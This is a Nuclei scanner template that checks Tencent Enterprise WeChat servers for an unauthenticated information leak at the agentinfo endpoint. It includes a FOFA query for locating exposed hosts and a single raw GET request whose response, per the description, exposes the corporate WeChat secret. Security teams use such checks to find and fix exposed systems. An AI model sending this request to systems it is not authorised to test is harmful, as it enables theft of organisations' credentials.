id: wechat-info-leak

info:
  name: WeChat agentinfo - Information Exposure
  author: SleepingBag945
  severity: high
  description: |
    There is an information leakage vulnerability in the agentinfo interface of Tencent Enterprise WeChat. An attacker can obtain the Enterprise WeChat Secret through the vulnerability.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/f7869eb69bad66d177a88df4cebfe584691651ce/%E5%85%B6%E4%BB%96%E6%BC%8F%E6%B4%9E/%E8%85%BE%E8%AE%AF%20%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%20agentinfo%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:tencent:wechat:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tencent
    product: wechat
    fofa-query: body="wework_admin.normal_layout"
  tags: wechat,exposure,tencent,vuln

http:
  - raw:
      - |
        GET /cgi-bin/gateway/agentinfo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && contains(body_1,"errcode") && contains(body_1,"strcorpid")
          - contains(body_1,"corpid")
        condition: and
# digest: 4a0a00473045022100dd0f1bf288311ef805fed93c7b71643e0b220ac5502822cb4f2a3402c785e52e022026ddb1c3de474f0f5460d35569377a4e447176b1655b203e61a2cc851e82e018:922c64590222798bb761d5b6d8e72950